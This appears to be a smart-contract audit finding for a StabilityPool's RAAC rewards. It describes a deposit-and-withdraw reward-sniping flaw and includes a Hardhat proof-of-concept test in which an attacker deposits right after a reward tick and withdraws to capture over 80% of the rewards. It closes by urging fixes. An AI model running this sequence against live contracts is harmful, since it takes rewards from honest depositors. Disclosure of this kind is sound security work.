A critical vulnerability has been identified in the StabilityPool contract's RAAC rewards distribution mechanism. The current implementation allows malicious users to perform a "deposit-and-withdraw" attack to unfairly obtain a disproportionate share of RAAC rewards without any risk to their principal.
describe("RAAC Rewards Sniping Attack", function () {
beforeEach(async function () {
const depositAmount = ethers.parseEther("1000");
await crvusd.mint(user1.address, depositAmount);
await crvusd.mint(user2.address, depositAmount);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user1).deposit(depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount);
});
it("demonstrates the reward sniping vulnerability", async function () {
const victimDeposit = ethers.parseEther("100");
await stabilityPool.connect(user1).deposit(victimDeposit);
const victimInitialRAAC = await raacToken.balanceOf(user1.address);
const attackerInitialRAAC = await raacToken.balanceOf(user2.address);
await ethers.provider.send("evm_increaseTime", [86400 * 7]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
const attackerDeposit = ethers.parseEther("900");
await stabilityPool.connect(user2).deposit(attackerDeposit);
const attackerRewardsBeforeWithdraw = await stabilityPool.calculateRaacRewards(user2.address);
const victimRewardsBeforeAttackerWithdraw = await stabilityPool.calculateRaacRewards(user1.address);
const attackerDETokenBalance = await deToken.balanceOf(user2.address);
await stabilityPool.connect(user2).withdraw(attackerDETokenBalance);
const victimDETokenBalance = await deToken.balanceOf(user1.address);
await stabilityPool.connect(user1).withdraw(victimDETokenBalance);
const victimFinalRAAC = await raacToken.balanceOf(user1.address);
const attackerFinalRAAC = await raacToken.balanceOf(user2.address);
const victimRewardsReceived = victimFinalRAAC - victimInitialRAAC;
const attackerRewardsReceived = attackerFinalRAAC - attackerInitialRAAC;
const totalRewardsDistributed = victimRewardsReceived + attackerRewardsReceived;
console.log("\nReward Sniping Attack Results:");
console.log("Total RAAC rewards distributed:", ethers.formatEther(totalRewardsDistributed));
console.log("Victim's deposit ratio: 10%");
console.log("Attacker's deposit ratio: 90%");
console.log("Victim rewards received:", ethers.formatEther(victimRewardsReceived));
console.log("Attacker rewards received:", ethers.formatEther(attackerRewardsReceived));
expect(attackerRewardsReceived).to.be.gt(victimRewardsReceived * 5n,
"Attacker should receive significantly more rewards than victim");
expect(victimRewardsReceived).to.be.lt(totalRewardsDistributed * 20n / 100n,
"Victim should receive less than 20% of rewards despite being in pool longer");
expect(attackerRewardsReceived).to.be.gt(totalRewardsDistributed * 80n / 100n,
"Attacker should receive more than 80% of rewards despite brief deposit time");
});
it("should show rewards are disproportionate to deposit duration", async function () {
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_increaseTime", [86400 * 7]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
await stabilityPool.connect(user2).deposit(ethers.parseEther("900"));
const victimRewards = await stabilityPool.calculateRaacRewards(user1.address);
const attackerRewards = await stabilityPool.calculateRaacRewards(user2.address);
const totalRewards = victimRewards + attackerRewards;
const victimShare = Number(ethers.formatUnits(victimRewards * 100n / totalRewards, 0));
const attackerShare = Number(ethers.formatUnits(attackerRewards * 100n / totalRewards, 0));
console.log("\nReward Distribution Analysis:");
console.log("Victim's reward share:", victimShare, "%");
console.log("Attacker's reward share:", attackerShare, "%");
expect(attackerShare).to.be.gt(80, "Attacker should get >80% share despite just joining");
expect(victimShare).to.be.lt(20, "Victim should get <20% share despite being in longer");
});
});
The StabilityPool's reward distribution mechanism contains a serious economic vulnerability that requires immediate attention. While the contract remains technically secure, the economic implications of this vulnerability could severely impact user trust and protocol sustainability.
We strongly recommend implementing the suggested fixes before accumulating significant rewards in the pool.